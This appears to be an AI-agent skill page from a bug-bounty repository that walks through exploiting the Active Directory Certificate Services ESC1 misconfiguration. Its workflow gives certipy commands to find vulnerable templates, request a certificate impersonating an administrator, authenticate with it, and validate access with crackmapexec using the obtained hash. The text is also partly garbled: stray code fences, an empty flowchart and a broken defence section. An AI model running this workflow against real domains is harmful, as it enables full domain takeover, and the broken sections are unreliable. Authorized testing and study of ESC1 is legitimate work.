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Ad cs esc1 abuse

Skill ShulkwiSEC/bb-huge/skills/curated/ad-cs-esc1-abuse

bb-huge ๐Ÿค— , Personal bug bounty findings hub and bug bounty orchestration for multiple agents

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npx -y skills add ShulkwiSEC/bb-huge --skill ad-cs-esc1-abuse

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Exploit Active Directory Certificate Services (AD CS) misconfigurations, specifically ESC1. By requesting a certificate based on a overly permissive template that allows the enrollee to supply a Subject Alternative Name (SAN), an attacker can impersonate highly privileged users (like Domain Admins) and seamlessly escalate privileges across the entire AD environment.

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SKILL.md

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AD CS Abuse - ESC1 (Subject Alternative Name)

When to Use

  • When operating in a Windows Active Directory environment and you discover that Active Directory Certificate Services (AD CS) is deployed (PKI infrastructure).
  • To massively escalate privileges from a standard domain user to Domain Admin by exploiting misconfigured certificate templates.

Prerequisites

  • Authorized scope and rules of engagement for the target environment
  • Appropriate tools installed on the attack/analysis platform
  • Understanding of the target technology stack and architecture
  • Documentation template ready for findings and evidence capture

Workflow

Phase 1: Identifying AD CS and Vulnerable Templates (ESC1)

# Concept: ESC1 ```

```bash
# certipy find -u [email protected] -p Password123! -dc-ip 10.10.10.10 -vulnerable

Phase 2: Requesting the Certificate

# Concept: With a vulnerable template certipy req -u [email protected] -p Password123! -dc-ip 10.10.10.10 -ca CA-NAME -template VulnerableTemplate -upn [email protected]

Phase 3: Authenticating with the Certificate (Pass-the-Certificate)

# Concept: certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10 -domain domain.local

Phase 4: Validating Access

# crackmapexec smb 10.10.10.10 -u administrator -H [NTLM_HASH_OBTAINED_FROM_CERTIPY]

Decision Point ๐Ÿ”€

flowchart TD
    A[Find Template ] --> B{ESC1 Vulnerable ]}
    B -->|Yes| C[Request ]
    B -->|No| D[Check ]
    C --> E[Auth ]

๐Ÿ”ต Blue Team Detection & Defense

  • Audit Templates: Monitor Event Logs: Key Concepts | Concept | Description | |---------|-------------|

Output Format

Ad Cs Esc1 Abuse โ€” Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]

Findings Summary:
  [Finding 1]: [Severity] โ€” [Brief description]
  [Finding 2]: [Severity] โ€” [Brief description]

Detailed Results:
  Phase 1: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

  Phase 2: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
  1. [Immediate remediation step]
  2. [Long-term hardening measure]
  3. [Monitoring/detection improvement]

๐Ÿ“š Shared Resources

For cross-cutting methodology applicable to all vulnerability classes, see:

References

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